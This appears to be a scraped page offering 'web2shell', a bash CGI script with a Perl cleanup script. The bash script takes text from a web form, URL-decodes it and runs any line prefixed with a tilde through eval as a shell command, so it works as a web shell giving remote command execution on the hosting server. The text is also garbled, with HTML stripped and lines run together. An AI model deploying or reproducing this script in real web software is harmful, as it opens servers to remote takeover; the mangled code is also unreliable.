# webshells.com/web2shell by J. Doug Ohmans # # # # # Web Shells web2shell # # #
# #
# # # #

# #
# web2shell.info  #
#
# USE tilde for command level!
# #

#

#

#


# © 2006
# #
# # #!/usr/bin/bash # web2shell - bash.cgi # Copyright (C) 2006 Free Software Foundation, Inc. # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation. echo Content-type: text/html echo cat << eof
web2shell.info 

Ephemera

eof # bash programming area IFS='=' set -- $QUERY_STRING echo This program takes Web input into a bash environment and back again."

" query="$2" echo $query"
" >> tmpfil echo `sed "s/+/ /g" tmpfil |\ sed "s/%0D%0A/
/g" |\ sed "s/%7E/\~/g" | sed "s/%21/!/g" | sed "s/%40/@/g" | sed "s/%23/#/g" | sed "s/%24/$/g" | sed "s/%25/%/g" | sed "s/%5E/^/g" | sed "s/%26/\&/g" | sed "s/%28/(/g" | sed "s/%29/)/g" | sed "s/%2B/+/g" | sed "s/%60/ /g" | sed "s/%3D/ /g" | sed "s/%7B/{/g" | sed "s/%7D/}/g" | sed "s/%7C/|/g" | sed "s/%5B/[/g" | sed "s/%5D/]/g" | sed "s/%5C/ /g" | sed "s/%3A/:/g" | sed "s/%22/\"/g" | sed "s/%3B/;/g" | sed "s/%27/'/g" | sed "s/%3C/ /g" | sed "s/%3E/>/g" | sed "s/%3F/?/g" | sed "s/%2C/,/g" | sed "s/%2F/\//g" > tmpo` echo `sed "s/

/
/g" < tmpo | sed '/^
$/d' | sed '/^$/d' > tmpfil` opt=`cat tmpfil | tail -1 | cut -c1` echo `cat tmpfil | tail -1 | sed "s/~ /~/" | sed "s/~//" | sed "s/
//"` > tmpo dat=`cat tmpo | cut -d' ' -f1` if [ "$opt" \=\= "~" ]; then if [ "$dat" \=\= "rm" ]; then continue else eval `cat tmpo` fi else echo `cat tmpfil | sed "/^~/d"` fi rm tmpo # end bash programming area cat << eof


Back
eof #!/usr/local/bin/perl # web2shell - eraser.pl require "../cgi-lib.pl"; MAIN: { print &PrintHeader; print &HtmlTop(" "); print "

"; print "

Data file ERASED
"; system ("rm tmpfil"); print "


"; print "
"; print "
"; print &HtmlBot; }